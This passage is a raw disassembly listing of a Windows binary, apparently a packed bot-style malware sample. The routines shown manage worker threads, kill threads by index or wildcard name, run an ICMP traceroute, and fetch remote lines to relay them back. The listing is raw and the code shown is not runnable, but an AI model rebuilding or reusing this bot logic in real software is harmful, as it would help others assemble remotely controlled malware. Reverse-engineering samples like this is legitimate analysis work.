mov ecx, [eax+10h]
mov [ebp+var_1A0], ecx
add eax, 14h
push eax
lea eax, [ebp+var_19C]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
mov eax, [esi]
push esi
call dword ptr [eax+10h]
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_406D47
; ---------------------------------------------------------------------------
lea eax, [ebp+var_19C]
push eax
push offset aThread ; "thread"
push [ebp+var_14]
call sub_40287C
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
xor eax, eax
loc_406D47: ; CODE XREF: sub_406CB2+72j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
sub_406CB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406D58 proc near ; CODE XREF: sub_4014B0+79p
; sub_4018D5+78p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push offset dword_419678
call sub_407200
cmp dword_419690, 10h
pop ecx
jnz short loc_406D83
push [ebp+arg_4]
call sub_4114CA ; free
pop ecx
xor ebx, ebx
jmp loc_406E5D
; ---------------------------------------------------------------------------
loc_406D83: ; CODE XREF: sub_406D58+19j
mov ecx, dword_419698
xor ebx, ebx
cmp [ebp+arg_8], ebx
mov edi, 198h
jz short loc_406DA9
xor edx, edx
lea eax, [ecx+10h]
loc_406D9A: ; CODE XREF: sub_406D58+4Fj
mov esi, [ebp+arg_0]
cmp [eax], esi
jz short loc_406DBD
inc edx
add eax, edi
cmp edx, 10h
jl short loc_406D9A
loc_406DA9: ; CODE XREF: sub_406D58+3Bj
mov [ebp+var_4], ebx
xor edx, edx
lea eax, [ecx+8]
loc_406DB1: ; CODE XREF: sub_406D58+63j
cmp [eax], ebx
jz short loc_406DCB
inc edx
add eax, edi
cmp edx, 10h
jl short loc_406DB1
loc_406DBD: ; CODE XREF: sub_406D58+47j
; sub_406D58+82j
push [ebp+arg_4]
call sub_4114CA ; free
pop ecx
jmp loc_406E5D
; ---------------------------------------------------------------------------
loc_406DCB: ; CODE XREF: sub_406D58+5Bj
mov eax, edx
imul eax, 198h
add eax, ecx
mov [ebp+var_4], eax
mov [eax], edx
jz short loc_406DBD
mov esi, [ebp+arg_4]
mov eax, [ebp+var_4]
cmp esi, ebx
jz short loc_406DE8
mov [esi], eax
loc_406DE8: ; CODE XREF: sub_406D58+8Cj
mov ecx, [ebp+arg_0]
mov [eax+10h], ecx
lea eax, [ebp+arg_10]
push eax
mov eax, [ebp+var_4]
push [ebp+arg_C]
add eax, 14h
push eax
call sub_411766 ; vsprintf
mov eax, [ebp+var_4]
add esp, 0Ch
mov ecx, esi
mov [eax+4], ebx
inc dword_419690
mov eax, [ebp+var_4]
cmp esi, ebx
jnz short loc_406E1B
mov ecx, eax
loc_406E1B: ; CODE XREF: sub_406D58+BFj
add eax, 0Ch
push eax
push ebx
push ecx
push offset sub_406CB2
push ebx
push ebx
call sub_411760 ; _beginthreadex
mov ecx, [ebp+var_4]
add esp, 18h
mov [ecx+8], eax
mov eax, [ebp+var_4]
cmp [eax+8], ebx
jnz short loc_406E5A
push esi
call sub_4114CA ; free
dec dword_419690
push edi
lea eax, [ebp+var_4]
push ebx
push eax
call sub_4114E8 ; memset
add esp, 10h
jmp short loc_406E5D
; ---------------------------------------------------------------------------
loc_406E5A: ; CODE XREF: sub_406D58+E4j
push 1
pop ebx
loc_406E5D: ; CODE XREF: sub_406D58+26j
; sub_406D58+6Ej ...
push offset dword_419678
call sub_40720B
pop ecx
pop edi
mov eax, ebx
pop esi
pop ebx
leave
retn
sub_406D58 endp
; =============== S U B R O U T I N E =======================================
sub_406E6F proc near ; CODE XREF: sub_4011C4+2DEp
; sub_401621+277p ...
arg_0 = dword ptr 4
push esi
mov esi, offset dword_419678
push edi
push esi
call sub_407200
mov edi, [esp+0Ch+arg_0]
dec dword_419690
pop ecx
push dword ptr [edi+8]
call dword_4120AC ; CloseHandle
push 198h
push 0
push edi
call sub_4114E8 ; memset
push esi
call sub_40720B
add esp, 10h
pop edi
pop esi
retn
sub_406E6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406EA9 proc near ; CODE XREF: sub_407A76+912p
var_188 = byte ptr -188h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 188h
push esi
mov esi, [ebp+arg_0]
test esi, esi
push edi
jz loc_406F80
push esi
call sub_4059F0
test al, al
pop ecx
jz short loc_406F07
push esi
call sub_41151C ; atoi
mov edi, offset dword_419678
mov esi, eax
push edi
call sub_407200
pop ecx
cmp esi, 10h
pop ecx
jnb short loc_406EFE
imul esi, 198h
mov eax, dword_419698
add eax, esi
cmp dword ptr [eax+8], 0
jz short loc_406EFE
mov dword ptr [eax+4], 1
loc_406EFE: ; CODE XREF: sub_406EA9+39j
; sub_406EA9+4Cj
push edi
call sub_40720B
pop ecx
jmp short loc_406F80
; ---------------------------------------------------------------------------
loc_406F07: ; CODE XREF: sub_406EA9+1Fj
push ebx
push esi
push offset aS ; "*%s*"
lea eax, [ebp+var_188]
push 185h
push eax
call sub_41152E ; _snprintf
mov edi, offset dword_419678
push edi
call sub_407200
mov ebx, dword_419690
add esp, 14h
xor esi, esi
loc_406F35: ; CODE XREF: sub_406EA9+CDj
mov eax, dword_419698
add eax, esi
cmp dword ptr [eax+8], 0
jz short loc_406F6A
lea ecx, [ebp+var_188]
add eax, 14h
push ecx
push eax
dec ebx
call sub_40790B
pop ecx
test al, al
pop ecx
jz short loc_406F66
mov eax, dword_419698
mov dword ptr [esi+eax+4], 1
loc_406F66: ; CODE XREF: sub_406EA9+AEj
test ebx, ebx
jz short loc_406F78
loc_406F6A: ; CODE XREF: sub_406EA9+97j
add esi, 198h
cmp esi, 1980h
jb short loc_406F35
loc_406F78: ; CODE XREF: sub_406EA9+BFj
push edi
call sub_40720B
pop ecx
pop ebx
loc_406F80: ; CODE XREF: sub_406EA9+10j
; sub_406EA9+5Cj
pop edi
pop esi
leave
retn
sub_406EA9 endp
; =============== S U B R O U T I N E =======================================
sub_406F84 proc near ; CODE XREF: sub_407A76+943p
var_18C = dword ptr -18Ch
var_188 = byte ptr -188h
arg_0 = dword ptr 4
sub esp, 18Ch
push ebp
push esi
mov esi, [esp+194h+arg_0]
xor ebp, ebp
cmp esi, ebp
push edi
jz loc_4070A5
push esi
call sub_4059F0
test al, al
pop ecx
jz short loc_407008
push esi
call sub_41151C ; atoi
mov edi, offset dword_419678
mov esi, eax
push edi
call sub_407200
pop ecx
cmp esi, 10h
pop ecx
jnb short loc_406FFC
imul esi, 198h
mov eax, dword_419698
add eax, esi
cmp [eax+8], ebp
jz short loc_406FFC
dec dword_419690
mov esi, [eax+8]
push 198h
push ebp
push eax
call sub_4114E8 ; memset
add esp, 0Ch
push ebp
push esi
call dword_4120E4
push esi
call dword_4120AC ; CloseHandle
loc_406FFC: ; CODE XREF: sub_406F84+3Dj
; sub_406F84+4Fj
push edi
call sub_40720B
pop ecx
jmp loc_4070A5
; ---------------------------------------------------------------------------
loc_407008: ; CODE XREF: sub_406F84+23j
push ebx
push esi
push offset aS ; "*%s*"
lea eax, [esp+1A4h+var_188]
push 185h
push eax
call sub_41152E ; _snprintf
push offset dword_419678
call sub_407200
mov eax, dword_419690
add esp, 14h
mov [esp+19Ch+var_18C], eax
xor edi, edi
mov ebx, 198h
loc_40703B: ; CODE XREF: sub_406F84+113j
mov eax, dword_419698
add eax, edi
cmp [eax+8], ebp
jz short loc_40708F
dec [esp+19Ch+var_18C]
lea ecx, [esp+19Ch+var_188]
add eax, 14h
push ecx
push eax
call sub_40790B
pop ecx
test al, al
pop ecx
jz short loc_407089
mov eax, dword_419698
dec dword_419690
add eax, edi
push ebx
push ebp
push eax
mov esi, [eax+8]
call sub_4114E8 ; memset
add esp, 0Ch
push ebp
push esi
loc_40707C: ; DATA XREF: .packed:00415DF8o
; .packed:00415E0Co ...
call dword_4120E4
push esi
call dword_4120AC ; CloseHandle
loc_407089: ; CODE XREF: sub_406F84+D9j
cmp [esp+19Ch+var_18C], ebp
jz short loc_407099
loc_40708F: ; CODE XREF: sub_406F84+C1j
add edi, ebx
cmp edi, 1980h
jb short loc_40703B
loc_407099: ; CODE XREF: sub_406F84+109j
push offset dword_419678
call sub_40720B
pop ecx
pop ebx
loc_4070A5: ; CODE XREF: sub_406F84+14j
; sub_406F84+7Fj
pop edi
pop esi
pop ebp
add esp, 18Ch
retn
sub_406F84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4070AF proc near ; DATA XREF: sub_40719C+1Co
var_1B0 = dword ptr -1B0h
var_1A4 = byte ptr -1A4h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
push 1A3h
lea eax, [ebp+var_1A4]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
mov eax, dword_419690
add esp, 10h
test eax, eax
jz loc_407183
push esi
push edi
push 10h
push eax
lea eax, [ebp+var_1A4]
push offset dword_4144F4
push eax
call sub_4096CB
mov esi, offset dword_419678
push esi
call sub_407200
and [ebp+var_C], 0
and [ebp+arg_0], 0
add esp, 14h
xor edi, edi
loc_407112: ; CODE XREF: sub_4070AF+C5j
mov eax, dword_419698
cmp dword ptr [edi+eax+8], 0
jz short loc_407165
push esi
call sub_40720B
mov [esp+1B0h+var_1B0], 3E8h
call dword_4120A4 ; Sleep
push esi
call sub_407200
mov eax, dword_419698
pop ecx
lea eax, [edi+eax+14h]
push eax
lea eax, [ebp+var_1A4]
push [ebp+arg_0]
push offset dword_4144E4
push eax
call sub_4096CB
mov eax, dword_419698
add esp, 10h
cmp dword ptr [edi+eax+4], 0
jnz short loc_407176
loc_407165: ; CODE XREF: sub_4070AF+6Dj
inc [ebp+arg_0]
add edi, 198h
cmp edi, 1980h
jl short loc_407112
loc_407176: ; CODE XREF: sub_4070AF+B4j
push esi
call sub_40720B
pop ecx
pop edi
xor eax, eax
pop esi
jmp short locret_407198
; ---------------------------------------------------------------------------
loc_407183: ; CODE XREF: sub_4070AF+2Fj
lea eax, [ebp+var_1A4]
push offset dword_4144C4
push eax
call sub_4096CB
pop ecx
xor eax, eax
pop ecx
locret_407198: ; CODE XREF: sub_4070AF+D2j
leave
retn 4
sub_4070AF endp
; =============== S U B R O U T I N E =======================================
sub_40719C proc near ; CODE XREF: sub_407A76+6D3p
arg_0 = dword ptr 4
push esi
push 1A3h
call sub_4114C4 ; malloc
test eax, eax
pop ecx
jz short loc_4071D0
mov esi, [esp+4+arg_0]
push esi
push eax
call sub_40457C
push esi
push offset sub_4070AF
call sub_406C5D
add esp, 10h
test eax, eax
jnz short loc_4071D0
push esi
call sub_4114CA ; free
pop ecx
loc_4071D0: ; CODE XREF: sub_40719C+Ej
; sub_40719C+2Bj
pop esi
retn
sub_40719C endp
; =============== S U B R O U T I N E =======================================
sub_4071D2 proc near ; CODE XREF: sub_4045B7+6p
; sub_406B98+1Dp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 18h
push 0
push esi
call sub_4114E8 ; memset
mov eax, dword_4191E0
add esp, 0Ch
test eax, eax
jz short loc_4071F7
push 80000400h
push esi
call eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4071F7: ; CODE XREF: sub_4071D2+19j
push esi
call dword_4120E8
pop esi
retn
sub_4071D2 endp
; =============== S U B R O U T I N E =======================================
sub_407200 proc near ; CODE XREF: sub_404639+11p
; sub_406D58+Cp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4120EC
retn
sub_407200 endp
; =============== S U B R O U T I N E =======================================
sub_40720B proc near ; CODE XREF: sub_404639+20Ep
; sub_406D58+10Ap ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4120F4
retn
sub_40720B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407216 proc near ; CODE XREF: sub_40287C+13p
; sub_40D6E0+44Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
lock xadd [esi], eax
pop esi
pop ebp
retn
sub_407216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407227 proc near ; CODE XREF: sub_403338+14p
; sub_403338+20p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
lock xchg eax, [esi]
pop esi
pop ebp
retn
sub_407227 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407237 proc near ; CODE XREF: sub_4072FC+13Bp
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
call dword_41969C
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_40725A
push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n"
call sub_411778 ; printf
pop ecx
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40725A: ; CODE XREF: sub_407237+12j
push ebx
push esi
push edi
push 8
lea eax, [ebp+var_C]
push 0
push eax
call sub_4114E8 ; memset
movzx esi, [ebp+arg_10]
mov al, [ebp+arg_8]
push esi
mov [ebp+var_C], al
call sub_411772 ; ??2@YAPAXI@Z
mov ebx, eax
push esi
push 45h
push ebx
call sub_4114E8 ; memset
add esp, 1Ch
cmp [ebp+arg_10], 8
jnb short loc_407293
push 8
pop eax
jmp short loc_407295
; ---------------------------------------------------------------------------
loc_407293: ; CODE XREF: sub_407237+55j
mov eax, esi
loc_407295: ; CODE XREF: sub_407237+5Aj
lea esi, [eax+1Ch]
push esi
call sub_411772 ; ??2@YAPAXI@Z
pop ecx
mov edi, eax
push [ebp+arg_C]
lea eax, [ebp+var_C]
push esi
push edi
push eax
movzx ax, [ebp+arg_10]
push eax
push ebx
push [ebp+arg_0]
push [ebp+var_4]
call dword_4196A8
cmp eax, 1
jz short loc_4072CF
call dword_41206C ; RtlGetLastWin32Error
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_4072DD
; ---------------------------------------------------------------------------
loc_4072CF: ; CODE XREF: sub_407237+89j
mov eax, [ebp+arg_4]
mov ecx, [edi]
mov [eax+4], ecx
mov ecx, [edi+8]
mov [eax+8], ecx
loc_4072DD: ; CODE XREF: sub_407237+96j
push [ebp+var_4]
call dword_4196A4
push ebx
call sub_41176C ; ??3@YAXPAX@Z
push edi
call sub_41176C ; ??3@YAXPAX@Z
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
retn
sub_407237 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4072FC proc near ; DATA XREF: sub_40756C+C9o
var_2D8 = byte ptr -2D8h
var_135 = byte ptr -135h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D8h
push ebx
push esi
push edi
push 2ACh
push [ebp+arg_0]
lea eax, [ebp+var_2D8]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
xor ebx, ebx
add esp, 10h
cmp byte_4196B0, bl
jnz short loc_407387
push offset aIcmp_dll ; "ICMP.DLL"
call dword_41205C ; LoadLibraryA
cmp eax, ebx
mov dword_4196A0, eax
jz loc_40752B
mov esi, dword_412060
push offset aIcmpcreatefile ; "IcmpCreateFile"
push eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
mov dword_41969C, eax
push dword_4196A0
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
mov dword_4196A8, eax
push dword_4196A0
call esi ; GetProcAddress
mov dword_4196A4, eax
mov byte_4196B0, 1
loc_407387: ; CODE XREF: sub_4072FC+33j
cmp dword_41969C, ebx
jz loc_40752B
cmp dword_4196A8, ebx
jz loc_40752B
cmp dword_4196A4, ebx
jz loc_40752B
lea eax, [ebp+var_135]
push eax
call dword_412254 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_18], eax
jnz short loc_4073EB
lea eax, [ebp+var_135]
push eax
call dword_41224C ; gethostbyname
cmp eax, ebx
jz loc_407466
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_18]
push eax
call sub_4114D0 ; memcpy
add esp, 0Ch
loc_4073EB: ; CODE XREF: sub_4072FC+C2j
cmp [ebp+var_35], 1
mov [ebp+var_20], ebx
mov byte ptr [ebp+arg_0], 1
jb loc_40752B
loc_4073FC: ; CODE XREF: sub_4072FC+229j
cmp [ebp+var_20], ebx
jnz loc_40752B
or [ebp+var_C], 0FFFFFFFFh
xor esi, esi
xor edi, edi
cmp [ebp+var_30], ebx
mov [ebp+var_14], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_1C], ebx
mov [ebp+var_28], ebx
mov [ebp+var_2C], ebx
jbe short loc_407482
loc_407424: ; CODE XREF: sub_4072FC+184j
cmp esi, ebx
jnz short loc_407482
push 20h
lea eax, [ebp+var_2C]
push [ebp+var_34]
push [ebp+arg_0]
push eax
push [ebp+var_18]
call sub_407237
add esp, 14h
test eax, eax
jz loc_40752B
mov eax, [ebp+var_2C]
cmp eax, ebx
jnz short loc_407476
mov eax, [ebp+var_24]
add [ebp+var_1C], eax
cmp eax, [ebp+var_C]
jnb short loc_40745C
mov [ebp+var_C], eax
loc_40745C: ; CODE XREF: sub_4072FC+15Bj
cmp eax, [ebp+var_4]
jbe short loc_40747C
mov [ebp+var_4], eax
jmp short loc_40747C
; ---------------------------------------------------------------------------
loc_407466: ; CODE XREF: sub_4072FC+D3j
push offset aCouldNotResolv ; "Could not resolve name"
call sub_411778 ; printf
pop ecx
jmp loc_40752B
; ---------------------------------------------------------------------------
loc_407476: ; CODE XREF: sub_4072FC+150j
push 1
mov [ebp+var_14], eax
pop esi
loc_40747C: ; CODE XREF: sub_4072FC+163j
; sub_4072FC+168j
inc edi
cmp edi, [ebp+var_30]
jb short loc_407424
loc_407482: ; CODE XREF: sub_4072FC+126j
; sub_4072FC+12Aj
mov eax, [ebp+var_28]
cmp [ebp+var_14], ebx
mov [ebp+var_10], eax
jnz short loc_4074E8
mov eax, [ebp+var_1C]
xor edx, edx
div [ebp+var_30]
push 2
push 4
mov [ebp+var_8], eax
lea eax, [ebp+var_10]
push eax
call dword_412234 ; gethostbyaddr
cmp eax, ebx
jz loc_407534
movzx ecx, byte ptr [ebp+var_10+3]
push ecx
movzx ecx, byte ptr [ebp+var_10+2]
push ecx
movzx ecx, byte ptr [ebp+var_10+1]
push ecx
movzx ecx, byte ptr [ebp+var_10]
push ecx
push dword ptr [eax]
movzx eax, byte ptr [ebp+arg_0]
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push eax
lea eax, [ebp+var_2D8]
push offset dword_41459C
push eax
call sub_4096CB
add esp, 2Ch
jmp short loc_40750D
; ---------------------------------------------------------------------------
loc_4074E8: ; CODE XREF: sub_4072FC+18Fj
movzx eax, byte ptr [ebp+arg_0]
push [ebp+var_14]
mov [ebp+var_C], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
push eax
lea eax, [ebp+var_2D8]
push offset dword_414574
push eax
call sub_4096CB
add esp, 10h
loc_40750D: ; CODE XREF: sub_4072FC+1EAj
; sub_4072FC+26Ej
mov eax, [ebp+var_18]
cmp eax, [ebp+var_10]
jnz short loc_40751C
mov [ebp+var_20], 1
loc_40751C: ; CODE XREF: sub_4072FC+217j
inc byte ptr [ebp+arg_0]
mov al, byte ptr [ebp+arg_0]
cmp al, [ebp+var_35]
jbe loc_4073FC
loc_40752B: ; CODE XREF: sub_4072FC+47j
; sub_4072FC+91j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_407534: ; CODE XREF: sub_4072FC+1ACj
movzx eax, byte ptr [ebp+var_10+3]
push eax
movzx eax, byte ptr [ebp+var_10+2]
push eax
movzx eax, byte ptr [ebp+var_10+1]
push eax
movzx eax, byte ptr [ebp+var_10]
push eax
push [ebp+var_4]
movzx eax, byte ptr [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_C]
push eax
lea eax, [ebp+var_2D8]
push offset dword_414548
push eax
call sub_4096CB
add esp, 28h
jmp short loc_40750D
sub_4072FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40756C proc near ; CODE XREF: sub_407A76+9A3p
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
cmp [ebp+arg_4], edi
jnz short loc_40758D
push offset unk_414620
push [ebp+arg_0]
call sub_4096CB
pop ecx
loc_407587: ; CODE XREF: sub_40756C+E0j
pop ecx
jmp loc_407658
; ---------------------------------------------------------------------------
loc_40758D: ; CODE XREF: sub_40756C+Bj
push 2ACh
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
cmp esi, edi
jz loc_407658
push 1A3h
push [ebp+arg_0]
push esi
call sub_4114D0 ; memcpy
push [ebp+arg_4]
lea eax, [esi+1A3h]
push eax
call sub_4114B8 ; _mbscpy
add esp, 14h
cmp [ebp+arg_8], edi
jz short loc_4075E2
push [ebp+arg_8]
call sub_41151C ; atoi
cmp eax, 0FFh
pop ecx
jg short loc_4075E2
push [ebp+arg_8]
call sub_41151C ; atoi
pop ecx
jmp short loc_4075E5
; ---------------------------------------------------------------------------
loc_4075E2: ; CODE XREF: sub_40756C+59j
; sub_40756C+69j
push 1Eh
pop eax
loc_4075E5: ; CODE XREF: sub_40756C+74j
cmp [ebp+arg_C], edi
mov [esi+2A3h], al
jz short loc_40760B
push [ebp+arg_C]
call sub_41151C ; atoi
cmp eax, 927C0h
pop ecx
jg short loc_40760B
push [ebp+arg_C]
call sub_41151C ; atoi
pop ecx
jmp short loc_407610
; ---------------------------------------------------------------------------
loc_40760B: ; CODE XREF: sub_40756C+82j
; sub_40756C+92j
mov eax, 7530h
loc_407610: ; CODE XREF: sub_40756C+9Dj
cmp [ebp+arg_10], edi
mov [esi+2A4h], eax
jz short loc_407626
push [ebp+arg_10]
call sub_41151C ; atoi
pop ecx
jmp short loc_407629
; ---------------------------------------------------------------------------
loc_407626: ; CODE XREF: sub_40756C+ADj
push 3
pop eax
loc_407629: ; CODE XREF: sub_40756C+B8j
mov [esi+2A8h], eax
lea eax, [ebp+var_4]
push eax
push edi
push esi
push offset sub_4072FC
push edi
push edi
call dword_4120BC ; CreateThread
cmp eax, edi
jnz short loc_407651
push esi
call sub_4114CA ; free
jmp loc_407587
; ---------------------------------------------------------------------------
loc_407651: ; CODE XREF: sub_40756C+D8j
push eax
call dword_4120AC ; CloseHandle
loc_407658: ; CODE XREF: sub_40756C+1Cj
; sub_40756C+30j
pop edi
pop esi
leave
retn
sub_40756C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40765C proc near ; CODE XREF: sub_4077A7+2Cp
var_1108 = byte ptr -1108h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1108h
call sub_411540
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov ecx, [esi]
lea ebx, [esi+4]
lea edi, [esi+104h]
push ebx
push edi
lea eax, [esi+204h]
push dword ptr [ecx]
push offset dword_414674
push eax
call sub_4096CB
push 2710h
push 0
push offset dword_414670
push edi
call sub_403C04
mov edi, eax
add esp, 24h
test edi, edi
mov [ebp+var_4], edi
jnz short loc_4076B4
xor al, al
jmp loc_4077A2
; ---------------------------------------------------------------------------
loc_4076B4: ; CODE XREF: sub_40765C+4Fj
push ebx
lea eax, [ebp+var_108]
push offset dword_414668
push eax
call dword_4121EC
lea eax, [ebp+var_108]
push eax
call sub_4114BE ; strlen
inc eax
push eax
lea eax, [ebp+var_108]
push eax
push edi
call sub_403D9D
add esp, 1Ch
test eax, eax
jz loc_407795
lea eax, [ebp+var_1108]
push 1000h
push eax
push edi
call sub_403DB2
add esp, 0Ch
test eax, eax
jz loc_407795
cmp eax, 0FFFFFFFFh
jz loc_407795
cmp [ebp+var_1108], 0
lea ebx, [ebp+var_1108]
jz short loc_407791
mov edi, offset dword_419678
loc_407727: ; CODE XREF: sub_40765C+133j
push ebx
call sub_405A76
cmp byte ptr [ebx], 0
pop ecx
mov [ebp+arg_0], eax
jz short loc_40774A
push offset dword_413F54
push ebx
call sub_41177E ; strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40774A
push ebx
jmp short loc_407759
; ---------------------------------------------------------------------------
loc_40774A: ; CODE XREF: sub_40765C+D8j
; sub_40765C+E9j
lea eax, [ebp+var_1108]
cmp ebx, eax
jz short loc_407767
push offset dword_414664
loc_407759: ; CODE XREF: sub_40765C+ECj
lea eax, [esi+204h]
push eax
call sub_4096CB
pop ecx
pop ecx
loc_407767: ; CODE XREF: sub_40765C+F6j
push 3E8h
call dword_4120A4 ; Sleep
push edi
call sub_407200
mov eax, [esi]
push edi
mov ebx, [eax+4]
call sub_40720B
pop ecx
test ebx, ebx
pop ecx
jnz short loc_407791
mov ebx, [ebp+arg_0]
cmp byte ptr [ebx], 0
jnz short loc_407727
loc_407791: ; CODE XREF: sub_40765C+C4j
; sub_40765C+12Bj
mov bl, 1
jmp short loc_407797
; ---------------------------------------------------------------------------
loc_407795: ; CODE XREF: sub_40765C+8Bj
; sub_40765C+A8j ...
xor bl, bl
loc_407797: ; CODE XREF: sub_40765C+137j
push [ebp+var_4]
call sub_403D70
pop ecx
mov al, bl
loc_4077A2: ; CODE XREF: sub_40765C+53j
pop edi
pop esi
pop ebx
leave
retn
sub_40765C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4077A7 proc near ; DATA XREF: sub_40780C+87o
var_3A8 = dword ptr -3A8h
var_2A4 = byte ptr -2A4h
var_1A4 = byte ptr -1A4h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3A8h
push 3A7h
lea eax, [ebp+var_3A8]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
lea eax, [ebp+var_3A8]
push eax
call sub_40765C
add esp, 14h
test al, al
jnz short loc_4077FA
lea eax, [ebp+var_2A4]
push eax
lea eax, [ebp+var_1A4]
push offset dword_4146A0
push eax
call sub_4096CB
add esp, 0Ch
loc_4077FA: ; CODE XREF: sub_4077A7+36j
push [ebp+var_3A8]
call sub_406E6F
pop ecx
xor eax, eax
leave
retn 4
sub_4077A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40780C proc near ; CODE XREF: sub_407A76+9C2p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push esi
jz loc_4078A0
push 3A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_4078A0
push [ebp+arg_4]
lea eax, [esi+4]
push eax
call sub_4114B8 ; _mbscpy
cmp [ebp+arg_8], 0
pop ecx
pop ecx
jz short loc_407852
push [ebp+arg_8]
lea eax, [esi+104h]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
jmp short loc_40786E
; ---------------------------------------------------------------------------
loc_407852: ; CODE XREF: sub_40780C+31j
push edi
lea edi, [esi+104h]
push offset dword_4146DC
push edi
call sub_4114B8 ; _mbscpy
push edi
call sub_40B5E1
add esp, 0Ch
pop edi
loc_40786E: ; CODE XREF: sub_40780C+44j
push 1A3h
lea eax, [esi+204h]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push [ebp+arg_8]
push offset dword_4146BC
push 0
push esi
push offset sub_4077A7
call sub_406D58
add esp, 18h
loc_4078A0: ; CODE XREF: sub_40780C+8j
; sub_40780C+1Dj
pop esi
pop ebp
retn
sub_40780C endp
; =============== S U B R O U T I N E =======================================
sub_4078A3 proc near ; CODE XREF: sub_4078A3+51p
; sub_40A236+125p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push edi
loc_4078AD: ; CODE XREF: sub_4078A3+1Cj
; sub_4078A3+41j
mov dl, [esi]
mov cl, [eax]
test dl, dl
jnz short loc_4078C1
test cl, cl
jz short loc_4078E6
cmp cl, 2Ah
jnz short loc_407906
inc eax
jmp short loc_4078AD
; ---------------------------------------------------------------------------
loc_4078C1: ; CODE XREF: sub_4078A3+10j
test cl, cl
jz short loc_407906
cmp dl, cl
jz short loc_4078E2
cmp cl, 3Fh
jz short loc_4078E2
cmp cl, 23h
jnz short loc_4078EA
cmp dl, 30h
